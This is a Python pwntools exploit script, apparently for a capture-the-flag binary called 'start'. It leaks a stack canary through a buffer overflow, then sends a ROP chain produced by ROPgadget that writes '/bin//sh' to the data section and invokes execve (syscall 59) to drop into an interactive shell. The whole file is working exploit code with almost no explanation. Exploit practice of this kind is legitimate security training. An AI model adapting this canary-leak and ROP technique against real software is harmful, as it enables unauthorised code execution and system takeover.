ROPgadget --binary ./start --ropchain

#!/usr/bin/env python
# encoding: utf-8

from pwn import *
context.log_level = "debug"

from struct import pack
import time

# Padding goes here
p = ''

p += pack('<Q', 0x00000000004017f7) # pop rsi ; ret
p += pack('<Q', 0x00000000006cc080) # @ .data
p += pack('<Q', 0x000000000047a6e6) # pop rax ; pop rdx ; pop rbx ; ret
p += '/bin//sh'
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000475fc1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004017f7) # pop rsi ; ret
p += pack('<Q', 0x00000000006cc088) # @ .data + 8
p += pack('<Q', 0x000000000042732f) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000475fc1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004005d5) # pop rdi ; ret
p += pack('<Q', 0x00000000006cc080) # @ .data
p += pack('<Q', 0x00000000004017f7) # pop rsi ; ret
p += pack('<Q', 0x00000000006cc088) # @ .data + 8
p += pack('<Q', 0x0000000000443776) # pop rdx ; ret
p += pack('<Q', 0x00000000006cc088) # @ .data + 8

p += p64(0x000000000047a6e6)
p += p64(59)
p += p64(0)
p += p64(0)
p += p64(0x0000000000468e75)


print(hex(len(p)))

print hex(len(p))
rop = p

r  = process("./start")
# gdb.attach(r, '''
# # bp *0x0400B5C
# bp *0x0400B96
# c

# 	''')

pause()

# it could send "b" *0x18 + "\n"
r.sendline("b" * ( 0x20 - 0x8 ))

time.sleep(0.2)
r.recvuntil("b" * ( 0x20 - 0x8 ))
r.recv(1)
cancary = u64("\x00" + r.recv(7))

log.info("get cancary: " + hex(cancary))
pause()

payload = "exit\n\x00"
payload += "b" * ( 0x20 - 0x8 - len(payload))  # padding for cancary
payload += p64(cancary)
payload += "A" * 8  # padding for ret 
payload += rop    # rip


print hex(len(payload))

r.sendline(payload)
time.sleep(0.2)

r.interactive()